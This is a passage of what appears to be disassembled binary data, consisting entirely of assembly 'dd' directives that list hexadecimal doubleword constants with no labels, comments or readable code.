1EBC5CF4h, 67E87B86h, 0F5912C73h, 4FE2DC0Eh dd 10F8FD12h, 0BC25AEE1h, 8904FC51h, 0E4F735EAh, 5599A4A0h dd 133D63F2h, 54545022h, 0B38CD425h, 25EAF13Ch, 0F80C4414h dd 9DCA946h, 5CEEBEAEh, 82D820BCh, 0F458DEB4h, 0C6560402h dd 7D3248D2h, 0A2A46C25h, 9DD510D4h, 0C3106458h, 30E833F2h dd 2CA90516h, 0EAE53E87h, 756BC822h, 2C11141Fh, 0B73BA287h dd 867F71A3h, 0C958386Ch, 0A8008FB6h, 0E2D901C3h, 2A082733h dd 8CE0A017h, 28CD1420h, 0BE10A091h, 49720DC2h, 2830E1BAh dd 18ED6BE3h, 0C1E47065h, 0B9B05663h, 6B0459AAh, 0CC0DA77Ch dd 45F640F0h, 0C83A3A33h, 11008123h, 0ED746F6h, 14B3FE7Ah dd 0B0BF36CEh, 0C8708E4Eh, 45DEC0C5h, 0B703FCE4h, 40F69D02h dd 1A96F174h, 0B6418847h, 612A3DFEh, 61349FC8h, 0F59C4235h dd 4B4A880Ch, 0D5508CD3h, 596BD08Bh, 0B21232ACh, 4579541h dd 181FD41Ch, 882B19C5h, 0DE2A9D00h, 5F6D523h, 0E4320066h dd 3EA72E7Ah, 0E0044EE7h, 379B1C6Ah, 0A842708Ah, 7C3082E2h dd 79BE0092h, 3C8AA540h, 385A84A3h, 6EC094CDh, 43C4B477h dd 0CBB98C57h, 74476AD6h, 5F805064h, 10729DBh, 6F79441Bh dd 68BCF215h, 46840694h, 3140D6h, 27AF9BB4h, 47861554h dd 0F026B702h, 43EF2879h, 0D862C1B4h, 252C30h, 0D4CE2CD3h dd 39409D06h, 0FB787E01h, 0EA502E9Eh, 0CD2E5C37h, 0B320454h dd 0CC140EFFh, 4A35C96Eh dd 68CA0B4h, 622E4241h, 255A114h, 586E164h, 9E1C216Dh dd 0A630883Dh, 0A1EA02F9h, 65C2C4B6h, 33012478h, 6174385Ah dd 0F304F59Ah, 8478513Ch, 8FF3A910h, 3D965058h, 9B0EB80h dd 494EBCA0h, 0F42FC54h, 305409EAh, 0BEBFF803h, 42815E36h dd 0F6666100h, 44A570DBh, 0B1733AC0h, 20361414h, 440251B0h dd 0C85EE98Bh, 6259C207h, 9C01D8F6h, 0AD3A2B81h, 2D65F09Eh dd 431DCA5h, 313D7AC0h, 0ECFD0736h, 0B4D1BC02h, 86967207h dd 0D8D2DC34h, 7C2E10C0h, 5B128578h, 0B020230Fh, 1A3F4B4h dd 0EF4DB19Ah, 0EC7B1A74h, 340090BBh, 0EDE2F1C7h, 0F5EC55h dd 35A8C278h, 7CDD4B5Ah, 891A21C0h, 0FBC3B14h, 0E613C188h dd 85B85283h, 6BC8C1A5h, 0D48180B3h, 8013203Dh, 0E778BDh dd 33854A28h, 0FDB0EAF5h, 0D580092h, 8C8701C1h, 7432EB50h dd 9023B421h, 0BEC108A7h, 0EFD8059Fh, 0CA5025D2h, 0C244DC40h dd 347F0B02h, 0F0591283h, 90957868h, 74D17CE0h, 0A1DD00C6h dd 0B7BC6994h, 3F1671FFh, 0B0E58578h, 5CC003D0h, 7380FCBEh dd 3B3477D0h, 642CC717h, 443224E8h, 14722A10h, 0F3FFBB38h dd 0B2F97309h, 0FC902853h, 1C642823h, 9C432492h, 75FD1928h dd 2EC058ABh, 30339C40h, 1DFBC3AFh, 934292Dh, 805A6E31h dd 0FF87BB1Fh, 40BC038Ah, 756662D2h, 948E9018h, 3F744900h dd 0FEF0BA50h, 6CA29DE4h, 0D4F89A5Ah, 8A49226Fh, 15D63C33h dd 0A4682BC7h, 6B2C150Bh, 30223CEBh, 623485DDh, 17EC7Ah dd 912F74F0h, 520F1D4Eh, 90F25B4Fh, 0CD80B23Eh, 7740733Ah dd 6D5111B5h, 23BC1E48h, 0C3C06132h, 0A7985007h, 424F2235h dd 9E242C08h, 27BC2A06h, 4A5B3F8h, 5154086Eh, 385E42h dd 312D2E6Dh, 802C7058h, 0BF44EEB2h, 15A800BBh, 0E80A2319h dd 0AF6A4B12h, 0DC027091h, 745AED7Ch, 81E138A0h, 0C7343AC4h dd 2099C0E2h, 1CBC4824h, 0EC81284Bh, 9C21C591h, 0C9003C68h dd 35F1844Eh, 64B61BE3h, 0CCA95A02h, 0C095D7ABh, 980751D0h dd 4EB33094h, 90091A08h, 1E400CF0h, 0B1194076h, 224301FBh dd 1D59C01h, 0A301324Ah, 7D408872h, 0B2C828EEh, 100B6650h dd 40314127h, 209E1871h, 744F9B01h, 59C82EA8h, 21011835h dd 8C6DA8Bh, 20286830h, 966EB75h, 3109E749h, 0EC18E620h dd 0D959B1E5h, 1088DB28h, 0E40877A8h, 2C790CD7h, 5C63CA08h dd 10623E18h, 1551D208h, 6284F4C2h, 7B66EB9h, 97081C46h dd 4056BB40h, 0E163C573h, 193E1128h, 186BE908h, 74A451A4h dd 0F3109970h, 4199B431h, 885A810Ch, 3FBE8BB9h, 0F031CDA0h dd 0B3D20823h, 0C9CF1888h, 1065980Ch, 1DD640ABh, 319AB9C4h dd 104D2D06h, 84CB832h, 39DCA6BEh, 0F58E3321h, 4118BD08h dd 0B408C785h, 0CB3380D0h, 80E29C80h, 0B080CC66h, 98758111h dd 0B891DE81h, 7008C4C3h, 3ABE0415h, 2863C606h, 87F9C31h dd 0A00154A8h, 41208CEAh, 63AD080Eh, 5A94185Bh, 0C0E10810h dd 0C489E532h, 8C4B1449h, 8E92211h, 0A579C6CDh, 0B5652050h dd 8044C029h, 3C06B17Dh, 1E320801h, 0A2F73039h, 3E3C598h dd 82AF004h, 9449F86Bh, 0BC7E1884h, 81193228h, 2EB9888Ch dd 91AA183Ch, 0F581DC53h, 184EB851h, 4449B102h, 0CCE452F8h dd 0D868B4AFh, 8DED308h, 300CEE0Bh, 40713074h, 0CD41183Bh dd 8A849FEh, 0DA9FD051h, 2441D201h, 7E8159E0h, 0C4D9898Ah dd 4984A2ACh, 40704CA1h, 7892D647h, 326D7720h, 680804D2h dd 80CDE0A3h, 5CE1018h, 80773108h, 0EB807688h, 2A8B80BDh dd 91530CCh, 0B319C46Bh, 0E1230416h, 83DBF06h, 33211020h dd 57416742h, 18D30824h, 3A690C88h, 58105449h, 2B7B1012h dd 8A283724h, 0A2FC146Fh, 9C7449C8h, 8C216532h, 0ECEF3448h dd 0C8246E81h, 34C1CA4Dh, 644589CCh, 16E214A4h, 2A3E2A1Fh dd 3C20D804h, 612966C3h, 8909B124h, 485AA14Ah, 1B58870h dd 0D86899E0h, 0E030BCB7h, 656081F8h, 0D9B00C10h, 1444005Ah dd 0D5F936C3h, 80BA186Ch, 0EA3FD400h, 0B20240F1h, 0CFF6003Ah dd 1E59BB20h, 3DEEBACDh, 0D6B81958h, 0C71F981Eh, 0B0D9F1C0h dd 3BC96A8h, 3148DD6Fh, 0E9F8E0B6h, 34E7D32Dh, 1218EEF4h dd 6C70402Fh, 68CF004Bh, 0CDF59EF8h, 36743431h, 0C0BCB47Eh dd 0D1DE4880h, 616C5B45h, 0C691E044h, 0BC40806Dh, 78BF1DB9h dd 590D0007h, 17C37FA6h, 2500472Ah, 3DDF74FDh, 24AF286Ah dd 31D2719h, 29DA12E9h, 0ECB4401Dh, 6372A180h, 38B0223h dd 1CF55BEEh, 8006DC29h, 0B2CD2634h, 35BA7C90h, 0E8F9A5E1h dd 1DB10E56h, 2CC0B712h, 0B569D683h, 72E85880h, 43034F28h dd 1D99BB1Ch, 0C0A9C86Ch, 34D128C5h, 89033EA8h, 4B20453Fh dd 0C90A70B0h, 80D1B4C5h, 0E9844349h, 5C72EF62h, 3ED5B200h dd 0E5893270h, 173A723Ah, 604FBF5Ah, 8891336Bh, 9429877Ah dd 3736A00h, 0D6934613h, 70BCA930h, 9F3215C4h, 896D9CC0h dd 8D9239C0h, 914997h, 1940E142h, 0AEDA46D8h, 0A812113Bh dd 0E206A05Eh, 0D2741D91h, 81F9FE80h, 86C0D772h, 0DC00B3C2h dd 90736B6Fh, 3CFEF7DDh, 1B185CAEh, 1634118Dh, 2209F8AEh dd 0C0B68B01h, 80173F5Ch, 609E857Ch, 9F6CBA80h, 1FF73644h dd 9DE9832Eh, 1D6A4097h, 202C56D7h, 137C9306h, 1EA83D9Ch dd 0C74A8FBh, 89104C97h, 82EC3650h, 0A0D05DE8h, 0ECD68298h dd 148C8553h, 0EC24BC1Eh, 0E1157830h, 8E7D0184h, 11AA619Fh dd 59E0DB0Eh, 0DD07DE83h, 743691E0h, 1F42C84Ah, 1CB000DFh dd 0B1831440h, 59E0CD0Eh, 2C10C032h, 559FEE7Eh, 1DBEF40Ah dd 0D6868450h, 88E7EAh, 9564BAE0h, 46A03741h, 0B63D82F0h dd 206983DFh, 0C81FF3ABh, 0E834289h, 123AD776h, 7B44F136h dd 65B9B000h, 71ED62h, 7547357Fh, 2DC489CAh, 12453207h dd 63C68D15h, 7DDE7C58h, 69A81D6Fh, 5B2E0770h, 46EEC022h dd 31E67AEAh, 0C8765F30h, 40191D70h, 2090401Ah, 562E890Fh dd 43012EEh, 929AEC5Ah, 4C754840h, 0ED91DFh, 0E7D6DD86h dd 7C5A36BAh, 518C6F1Eh, 0A8901132h, 671F100h, 0BE818335h dd 74C0B119h, 0C8AEC218h, 47EF8880h, 8DB4503Ch, 5F4D625h dd 0E844B878h, 5000DD34h, 62F6B53Bh, 8819FD00h, 39141AC2h dd 0BD211F56h, 0D1F58AF3h, 0E29080D0h, 9372BA17h, 0F9075000h dd 0AA455F2Eh, 12C6128Eh, 8DFCB002h, 7571AD0Ah, 0BA604CC2h dd 0E4C01D81h, 0E4E34FBBh, 0FA734688h, 30020E4h, 4334C374h dd 9A4868Ch, 2949DCB4h, 641E80Fh, 487F2E8Bh, 0DA3791ACh dd 0E816F1B4h, 457750h, 5EADD528h, 0E1A2E4D4h, 641DF890h dd 0BCA4A908h, 72341306h, 0C82E3BA8h, 2088DDA8h, 3CF8FF9Ch dd 48ACB525h, 1E8EC8Ch, 0BBEB89E1h, 87208F1Dh, 716FA818h dd 0E5D8D383h, 9E48B400h, 5BEAA9D2h, 0CD64F078h, 74D149h dd 811D9A36h, 0D2C9EC9Eh, 24345940h, 3B00223Fh, 781D3112h dd 0E2D7A9B2h, 0A0244E98h, 606F8C58h, 0B207C9Dh, 0FCE7552Bh dd 6A00CE6Eh, 36D6041Bh, 0EF6CF6h, 9E1D2A26h, 5BD4DCD0h dd 484E4C31h, 0E7E0DD87h, 0E550C970h, 80105029h, 7600CD06h dd 0D4A00582h, 0E792Eh, 6D673573h, 0A5BAAA1Ah, 0D8C1D17Ch dd 0B2FD4FC9h, 0C681A8BAh, 74FB6C97h, 587820EAh, 801AE41h dd 0F20099C9h, 6409FE73h, 299B8692h, 6CA006D0h, 36C88061h dd 806B2660h, 682D6248h, 0A6ECBC02h, 18C074A8h, 58539B5Ah dd 0D618B4EDh, 4728A0ACh dd 0C8300538h, 0C1F62FC2h, 346B13BAh, 344D8C7Ch, 0AA1D1040h dd 3DBA7D00h, 91EACCBEh, 9984AD34h, 39DBACC7h, 0ADDFFD44h dd 43016381h, 98BB17FCh, 0BDC00430h, 8830C3D8h, 0F806B278h dd 0B686123Eh, 0F3D90510h, 549E5ADAh, 0EC7A90E8h, 1C11D4A6h dd 834DF24h, 2E09AE2Bh, 0B2781980h, 0A49950FBh, 0B38B1E24h dd 0AC1CC579h, 1ED49338h, 45EFD813h, 98450034h, 6C90B812h dd 51C34381h, 7008542Bh, 498B305Ah, 0D6052018h, 48263934h dd 4985309Ch, 545864EDh, 82106402h, 0CC03F0Ah, 9DFCB5C5h dd 1B848F00h, 5701DA4Fh, 85BA00ECh, 12699219h, 1506C270h dd 9931D6B2h, 8D5A1060h, 0A7FC402Bh, 0F5ACF202h, 9F1DD6h dd 9D8AE2B9h, 0B9826226h, 0BC37420Ah, 0DDCCBC9Dh, 1D2E91EFh dd 40759DCDh, 49439924h, 0B32A1D3Ch, 70015812h, 0B62F4830h dd 1DF1BCDAh, 0AA1C9450h, 0E428C9C0h, 0A9911300h, 404C1482h dd 0F52C074Ch, 0DCD7DF21h, 716AE570h, 586EFC08h, 505490FBh dd 0B51014BAh, 0C289A8F8h, 61BE0818h, 0D8121E09h, 29440902h dd 21302BECh, 15C346F0h, 0E0BC1842h, 48207298h, 6AC9042Bh dd 81388C19h, 5B7C89B8h, 208CC0D9h, 0DC413722h, 0F708062h dd 0DBB40068h, 0A1264D36h, 900194F0h, 0BEC9ED9Ch, 280349C0h dd 88341Dh, 1BC37335h, 0BFF17D7Ah, 3ECB7501h, 2BEA9EC0h dd 6BB44Ch, 3D0D132Ch, 29E63BF0h, 40436405h, 0F4C8B9BBh dd 96E3001Ah, 0F8FB7D2Eh, 0EA3CF653h, 8552802h, 0ECB38302h dd 0C937BC44h, 3B188A7Ch, 0A50BACB8h, 0EAA38412h, 13E40FC0h dd 58289076h, 904270C2h, 12F44602h, 88A78C3Bh, 0E224F1C5h dd 0A01E6F27h, 2005E512h, 4CCC176Ah, 0BAD6148Ch, 0DF24E89Bh dd 2300BAD4h, 0D2E0C724h, 0B54C5705h, 0B1551604h, 5C49AC52h dd 10B48E79h, 4BD8F13h, 0C76359E4h, 10BB8629h, 44AF1214h dd 946448C8h, 0BDF009FCh, 9C1008BBh, 7821F180h, 0B4F5B359h dd 239701F0h, 867580ABh, 0E930D930h, 900B0F9h, 0EEB50ABAh dd 0C2A3C19h, 925094B1h, 48480FC4h, 5A584396h, 2829F84Fh dd 0BA14C0BBh, 1821D6E0h, 70245B56h, 1648F0D5h, 12BD08BBh dd 29DC26B0h, 81C00474h, 0C3515E30h, 688908Dh, 0B63DA88Ah dd 2E2928BCh, 4131DC7Eh, 6BF05Ah, 0CEBCBA64h, 9D61EE5Bh dd 0E9B38810h, 506AA430h, 96B9C42h, 9C7530BAh, 0F2FF2C03h dd 14D2DF99h, 1D830801h, 88441531h, 596A3822h, 0BF55050Ch dd 0D6E031A6h, 105CD757h, 4255250Ch, 2E1000D7h, 0F8CD16h dd 8DD8B475h, 43B106AAh, 9BCA020h, 0DA74EE7Ah, 58CC2C4Ah dd 81171210h, 0E0459F00h, 0DFA91F2Ah, 7592911Eh, 0FBCC42Ch dd 1D11FF26h, 95D38BFAh, 2C4CA0CEh, 1DA9D4B5h, 0AA5DBEF4h dd 0FD1420B8h, 9830E548h, 0B1422350h, 29183C14h, 681C1067h dd 7BF80660h, 0C3BFBB5Bh, 651D8298h, 519440D5h, 0F4226086h dd 4D2CEA02h, 64342AC3h, 0FB0220FCh, 257ED39h, 7D5BFF37h dd 24AC94C2h, 216C828Eh, 5BEE0084h, 0FDF91CF0h, 600220DEh dd 432C87ECh, 24A901E0h, 0F7DB59C6h, 1418F8B4h, 5BE82304h dd 0CE1DA6B8h, 0E92081B6h, 0BCECFC34h, 1CB55Ch, 3807DF68h dd 9A58C112h, 0C0C09374h, 0ECFDD585h, 0C0022A76h, 251D3112h dd 16A0C940h, 0EA007439h, 331B4574h, 734A368Dh, 12D46828h dd 0B0F2EBF5h, 0A9C259F8h, 6481AEE8h, 0ED5B10E8h, 84C000C8h dd 0D310877Ah, 6A0D0162h, 0DAFD4721h, 28E44781h, 69CDF15h dd 752512F3h, 9A0894D0h, 0CCB2C0BAh, 0A89DF868h, 3CCCEB4Dh dd 902C4D26h, 5B28B58h, 0C8D172F4h, 0BC01B80Ch, 0B421AC6Bh dd 17E3C608h, 79F400BBh, 4A6CBAE1h, 0FC102403h, 5DBD5CD6h dd 0C9F7420h, 0D9C0C765h, 78E71E24h, 0C050728Ch, 0C2540B6Fh dd 10815F17h, 0F5F2384Bh, 5B08853Eh, 9C5385B9h, 0E1E6840Ch dd 0C0F8735Ah, 0DE315618h, 0C104D2F2h, 43926996h, 13727098h dd 307D2B13h, 14AA1B28h, 9ED1C501h, 81E2CD25h, 60498032h dd 63DA7D09h, 12F8C480h, 50D3390Ah, 3C022C13h, 51302F9Dh dd 458108D4h, 781E6C63h, 53D8160h, 0BD85BC04h, 0FA129CC0h dd 74A8A0A4h, 14395CCAh, 59E16E00h, 8717D69Bh, 8169389Eh dd 0DBA1CA4h, 0F0709Fh, 0C37687B2h, 46126938h, 6800CB1Dh dd 0AC630516h, 4580205Ah, 1483BF27h, 0ECD90034h, 12E652E3h dd 424A2899h, 0A0B8B076h, 0C3F5D44h, 77C0FB3Ch, 0F7127520h dd 5CF0EBD6h, 44121BF2h, 800EC8A6h, 0E23EC6EEh, 0CF845Bh dd 2EB2746Ah, 0AEF09C02h, 0D05A9183h, 54BC4888h, 92C12E78h dd 0D8276064h, 0B47879AAh, 6AE8A800h, 43137A7Fh, 0ABD60BDCh dd 744A3696h, 7982F068h, 0CE12E53Dh, 1A84ECC0h, 11F1CA0h dd 71C413D6h, 0F182BC7Ch, 0F282858h, 5891342h, 88C01F0Ah dd 91E270E1h, 0E4498C58h, 0A49AB128h, 0EDE5D20h, 0B67826EEh dd 0EAB59D21h, 9CB1F83Dh, 60965A76h, 1825811Fh, 804F0798h dd 93006DB9h, 0B23CC42Fh, 7121BF52h, 0D4CA355Bh, 4D9E8120h dd 0DC1C71B9h, 0AC9CD5B5h, 0C37D8386h, 0C840910h, 0D040824Eh dd 9F1264CBh, 40DDB5BDh, 9E10A039h, 64FE0522h, 2CD0A613h dd 540D475h, 38D672E7h, 3EAC637Dh, 0BA8A3810h, 0EE59ED00h dd 1283E0B5h, 80007E5Bh, 455AAB46h, 90B8CA21h, 8BBE9CB0h dd 2020CCF0h, 0F3B6BC94h, 0EDEEE7EEh, 0B5F15C00h, 0C1FF9D3h dd 0EC561329h, 8448409Fh, 0BE91907Bh, 1210DA7Bh, 0BC0FA209h dd 790AE7E0h, 346A80F0h, 0D671DDE5h, 4BB7B020h, 1C5420C2h dd 5781B37Ch, 550B4C3Ch, 0D018BF62h, 1212E879h, 7C4116E3h dd 40745BD5h, 58205825h, 20DCA43Dh, 0EA3EDC23h, 82391FF9h dd 5130C92Dh, 0D4476007h, 0D6188C9Dh, 166873D3h, 56C607E7h dd 0B30DD212h, 5059B54Ah, 5C684D6Ch, 2C2CE8DCh, 0A44CEE51h dd 0D6D84C50h, 5C906679h, 8E2E1300h, 35875996h, 315B13C5h dd 76444AE8h, 0DDD808D4h, 0DFB4AF00h, 4C2DEFDh, 981A4358h dd 1CA48038h, 0FCB114A5h, 32FB5308h, 3C70DF71h, 224D5A18h dd 77032018h, 0B5E6162Dh, 0D170FDCh, 0DE9A1660h, 0A0E83EC5h dd 688BE8A1h, 328301F8h, 0AC09DA13h, 0F1806C38h, 48D6EF59h dd 390CC159h, 9CF74436h, 2E9703FCh, 0B9B98E5Bh, 659AF10Eh dd 5936E478h, 907F6B27h, 0BAF1C100h, 342F29CCh, 13570BA0h dd 0D8D540Eh, 0D6080008h, 0A0A01D06h, 6900BEF2h, 817ECE61h dd 68477E5h, 0EB5B50E1h, 265C90CBh, 0E01F9D70h, 10EAA70Ch dd 580B1DD1h, 430501E5h, 50E4D7DAh, 764D9370h, 913ECB04h dd 38955DF1h, 53AAF0C1h, 103D0303h, 4DA71645h, 0C350E400h dd 1364161Ch, 8034E592h, 0E28D7424h, 175DF14Ch, 48088473h dd 7D2E00D7h, 14DC9124h, 5F122Dh, 5BA5345Ch, 90BE6FB7h dd 70A7FE60h, 0C2E8206Ah, 37A61F0Eh, 802EC60h, 1E850090h dd 5707E90Ah, 801769EBh, 94D05B1Bh, 27D6A6EDh, 0F4004B46h dd 0A50B6914h, 0F61D6A08h, 0EE47021Ch, 0E8E4E274h, 8881482Ch dd 4D37EA40h, 0D42648EFh, 0E7DF3481h, 5AE860DCh, 18B96235h dd 0E8E51891h, 0E7CF1988h, 0D3207101h, 80806B29h, 77193AE6h dd 0B5000F73h, 90F5E3DAh, 1512BB13h, 0A44C921Dh, 160CBD26h dd 89A00338h, 0CDCC2C55h, 40496F04h, 107C89AEh, 7F7A9798h dd 22DD4EDAh, 0BC24C418h, 311CC8CCh, 45409CECh, 30C821B9h dd 0AF40887Ch, 89C10BDCh, 8CC1FD12h, 15000B1h, 0DEA31Dh dd 554DAA38h, 2A1B31F8h dd 21D68E17h, 23F334C1h, 2AFE944Ch, 203CFDB5h, 730502EBh dd 4CA291F0h, 8700F0F2h, 0B070A88Ch, 0BF60BD1Ch, 0EB1367E1h dd 7B0C925Ch, 1F7209F7h, 3C90792Bh, 0F20078BFh, 2EE003C6h dd 875358h, 282A2271h, 4B12F7ACh, 91423127h, 0A057B150h dd 84F47CA1h, 0DB747881h, 0AC6B9E02h, 22E93C08h, 9D5720h dd 0B1F81D88h, 5F12A0BAh, 0E4206DBAh, 0E5137EAEh, 0CC4C936Bh dd 246CA8E4h, 0C0012CBDh, 9A37298Fh, 5A8791D4h, 0EEC4278Bh dd 9DD0A44h, 0C3380044h, 3D14542h, 0BB4ED2B4h, 16D15831h dd 0B1D9301Ch, 0FD98248h, 9E781E63h, 0AA9D84C2h, 0CB6C60C0h dd 8E621785h, 4F2C8042h, 7F0B3813h, 401AEA9Bh, 60D69808h dd 0BBEFE93Bh, 0C91D5F6Ch, 0C2DFE4A8h, 5B129641h, 0A8345A6Ah dd 0F089293Ah, 761241C0h, 0B4F08727h, 0E6100FD3h, 9A7D5BF7h dd 0FB8624E4h, 79CF00F4h, 16EAB77Fh, 122CEFF6h, 84899467h dd 0A2EB8955h, 9F1825Ch, 3322F844h, 96E08269h, 0E3840000h dd 8F7DC659h, 9E3212F4h, 0C885302Ah, 90A88410h, 81BA4AA4h dd 808D5CE4h, 0FA59E679h, 508AA7h, 0C3FB2F3Bh, 4ACCB12h dd 0F4E4C603h, 5BDBFF5Bh, 5A280368h, 0A12688A1h, 274280E5h dd 7C092B53h, 121300CCh, 0FC3C5278h, 1CC8C22Ch, 284A964Fh dd 0C977CC00h, 0E37152F6h, 5CB66202h, 561B129Ch, 449A2530h dd 0F8657860h, 7EEA80h, 0DDC5512Eh, 6E913FA1h, 0DC99837Ch dd 7BD32102h, 0A37A604Eh, 0E740C033h, 0AA282913h, 0A8E15A13h dd 46E69840h, 0C320142h, 30FB5B1Ah, 4726BC18h, 448238ACh dd 48FFAEDAh, 0B689EA90h, 22F2E20Ch, 3E0B410h, 594ACB7Dh dd 28403843h, 7064EB08h, 0E8B2E540h, 0A3CA1C8Eh, 9260828Ch dd 0F8517F95h, 0E689BD09h, 196A2740h, 163808C8h, 0D61B9C98h dd 0C020B6B4h, 0F995EDh, 0B93188EBh, 96A074D3h, 0BD818204h dd 34A80A73h, 0F05C36A1h, 6B7447C0h, 0E9C1219h, 4420E280h dd 5989EADAh, 0ED12C814h, 3D893CBh, 530C2050h, 0FD995240h dd 434FF869h, 0DD8C129Ch, 0F9F06805h, 4C10CF2h, 232EAE98h dd 72E04388h, 0ECB9B716h, 3229C403h, 0E4CDC19Ch, 0DE4C4988h dd 0BEE0B50Fh, 599E8E09h, 1572020Ch, 0F059832Bh, 5AA97501h dd 1080C170h, 5FDFB584h, 0B9015282h, 952C2FC2h, 0F7F06790h dd 24970334h, 0DA6C5B2Dh, 1DBE3004h, 78D0E0A2h, 13D58377h dd 20DDB5A8h, 0C2F8B4F4h, 0B0F74903h, 0D096E223h, 0F89DF15Bh dd 70E49C16h, 110B72EEh, 1676BD3h, 37192224h, 8487208Fh dd 74A9642Fh, 0EA2E7C11h, 44126881h, 0FE106465h, 77C0EC13h dd 824AC832h, 523B09BAh, 0D0FD49ACh, 6900EC22h, 1CC1951Bh dd 246B9D7Fh, 0E004CA75h, 6F5BFDE5h, 81104660h, 1852CAB6h dd 78772213h, 5B12C53Ch, 80B45362h, 0CC0928DEh, 326BEEE6h dd 4411DB1Dh, 0D02080F3h, 89A1E802h, 7047823Dh, 2CE64CB4h dd 0F2517385h, 5A604874h, 0B0D55C52h, 42817401h, 2C422EC3h dd 6B4CC090h, 2C068471h, 91BEEE57h, 24BD4C60h, 0AEEC1208h dd 0CEE26C00h, 549E3EA0h, 94EF806Ah, 1C1554F0h, 7C8F5FAh dd 0E8DF9C7Fh, 0B08AD613h, 2634B42Dh, 1CF3FD5h, 4A12FCB9h dd 76F8635Bh, 15D6DB09h, 818E57Ah, 7C01F9E1h, 0B69DED89h dd 0CCF1FAh, 0FC21B6Fh, 7800B022h, 1ACC286Ah, 6958C19h dd 7C1DBC49h, 83053192h, 426E4112h, 942CDCC9h, 0DCAE50Fh dd 0C61183A0h, 9213799Eh, 983399BEh, 0D90D8A12h, 0F32F9D34h dd 20118911h, 0FD003A9Fh, 438E30BBh, 6C92E123h, 0A485883Ah dd 0F42E2963h, 8BAD43h, 2F3C50F0h, 0B50449C4h, 534EDB1Ch dd 0DA5B1302h, 2AB880EDh, 7C2AA27h, 7416DE18h, 19A81E1Dh dd 0E2BB7E01h, 6831F2BCh, 0A7DA71F4h, 0F4424F4h, 9860FB28h dd 5BA5DCC2h, 60C4D0E0h, 0C8BCB582h, 40295A85h, 0D061B9F4h dd 0B62E1DC2h, 820084EDh, 2F69F5E8h, 3FC8ED18h, 0A49052Dh dd 85D6D8B6h, 8AC0E0A8h, 0B51F009Ah, 890AD5ECh, 0D496BC6Dh dd 9FD68C42h, 87808072h, 478DC2h, 8F306AC1h, 2EB7BFE9h dd 94D95705h, 0E48535B8h, 745808FCh, 40C75444h, 23046AC4h dd 0C31C123Bh, 0C8D4A8F1h, 9128C0C5h, 0AA0DD144h, 152E12E8h dd 0EA965060h, 9DC05067h, 7FFD866Ah, 0D3283A76h, 354C2081h dd 32A5B5A6h, 0F08E0068h, 2FBED57Bh, 46C4345Bh, 0D6488C81h dd 0B0EB6720h, 829F4E6Ch, 876BA48h, 0B4E5F24Eh, 0C48FD06Dh dd 0E0904131h, 0E9CFB36Dh, 7012F07Dh, 4564E1C2h, 0D6C4B0CCh dd 16264Eh, 0BB4894C1h, 55EC067h, 88063884h, 772123Ch dd 5C9098D3h, 0EB3EAF6Eh, 0F216A5DCh, 5B440BA0h, 78CE5AEAh dd 0B8884726h, 189CAD6Eh, 0BE09A478h, 40B2CABDh, 51C0B431h dd 492ECFCh, 9831CCE8h, 3BB9BE28h, 1A3D2C21h, 0A5297100h dd 0D3086961h, 8853AAE0h, 2B21002Dh, 550B613h, 72295586h dd 0E280A0C7h, 9808F164h, 3932205Ah, 4F1BD200h, 6AB92BC3h dd 0B89248B4h, 0B135170Bh, 34224C02h, 21626474h, 0C2785385h dd 0DA2007BAh, 1640CC90h, 8171B26h, 70320534h, 0A854562Eh dd 18E46051h, 72E86DA7h, 98E15514h, 88444E88h, 84D09BD7h dd 957A342Eh, 0E0E66024h, 394B5A2Ch, 2E12080h, 6B6C0038h dd 0B4224424h, 8A007DD5h, 0EC4AFDA1h, 91BEC112h, 0B90C079Ch dd 21F270EDh, 0D016B38h, 3DD574C4h, 78970620h, 725C49FCh dd 87ED8C82h, 0B898FCC2h, 0F182E7F1h, 168CAA78h, 0CC44F7B2h dd 4892573Ch, 82915519h, 109CA5E1h, 28C76267h, 31453E2Eh dd 305E9021h, 0B442D07Dh, 0D849C025h, 3C493B96h, 0E4F42436h dd 384488B8h, 84B17834h, 40A9D625h, 0B991F41Ch, 14C0A5E8h dd 3480A0A1h, 5D5B10EAh, 0C16D2538h, 3C7DFD90h, 2200D04Dh dd 0CBE2B47Fh, 28B0FB2Eh, 5B7F3375h, 65C19700h, 0C25504E1h dd 20E0D493h, 7206DC20h, 0B9FFD313h, 2A121788h, 0B098518Eh dd 0A4F9D982h, 0ED19BC79h, 0C408EB20h, 442134Fh, 0E837BB1Ch dd 6B4E6Ch, 0FBCC9B19h, 0D5B94F98h, 0F11C5CA1h, 708064F3h dd 0DDE58402h, 784A91E8h, 521C1BDCh, 6AF8492Eh, 200B341Bh dd 2B0D183h, 48D4C87Bh, 2ECE4h, 0C37809DDh, 15F1732Ch dd 0CF34EA09h, 1280E1E5h, 4F4A4834h, 0BD000551h, 0BCD0D88Ch dd 32986B00h, 55FED3B5h, 0C2F54B13h, 4CDE7810h, 86002E9Fh dd 0EAD7443Bh, 40D3751Ah, 2B74C4DFh, 7874A824h, 6C826900h dd 506D331Ch, 6859484h, 429F4999h, 8826203h, 0BD348482h dd 0E891BA05h, 1C0429A8h, 0D9DC4DFCh, 9C9C01C0h, 12943215h dd 0C8E039E8h, 0B4D340BCh, 0CF9BCA01h, 115B25FCh, 0EA22CC32h dd 7C8BDC80h, 0CCB0A601h, 2E340FF2h, 2AB4452Ah, 1FE48028h dd 4107A8B7h, 9CEBB4F1h, 4292DD40h, 8B8D01Bh, 8CBFE714h dd 8153AEC5h, 1018F0h, 0E83DA7Ah, 74F780D9h, 205499D2h dd 0B1071048h, 83EF7DF6h, 1371AEF0h, 84BF5543h, 0EC260861h dd 13703806h, 0E09898E1h, 0E49DD62Ah, 4CABF4ABh, 0E8F407E5h dd 0F8466412h, 6EAE1280h, 2BE04000h, 3443CA28h, 85380F5Bh dd 1CA0DC14h, 70C1FB77h, 5CCE5B50h, 1404CC34h, 0F4DBF9D6h dd 1D1C1102h, 0D4404B92h, 8275B4Fh, 6A0498E2h, 0A4F0961Ah dd 0FCAB4204h, 0BF87EF00h, 136C0353h, 5796981Eh, 46991225h dd 34E305Ch, 47AE97C0h, 23D5131Eh, 19B8E425h, 50253C1Ch dd 89B82DAAh, 0BCC8917Dh, 0A84C482Eh, 46716824h, 0C8B2B0ADh dd 3A08C07Bh, 613800C7h dd 512B0EE1h, 4891A201h, 88276A32h, 3D4CCh, 128B0AAAh dd 0E8E1437Bh, 0DE46602h, 44063485h, 77C00130h, 0A45EC8FFh dd 2A41F5D6h, 8C53101Fh, 784B908Dh, 0A981C09h, 0D4A8C011h dd 1225F856h, 0B26C61A3h, 1C1DE461h, 3979C0DCh, 314A4392h dd 87D62498h, 0EBDFBD10h, 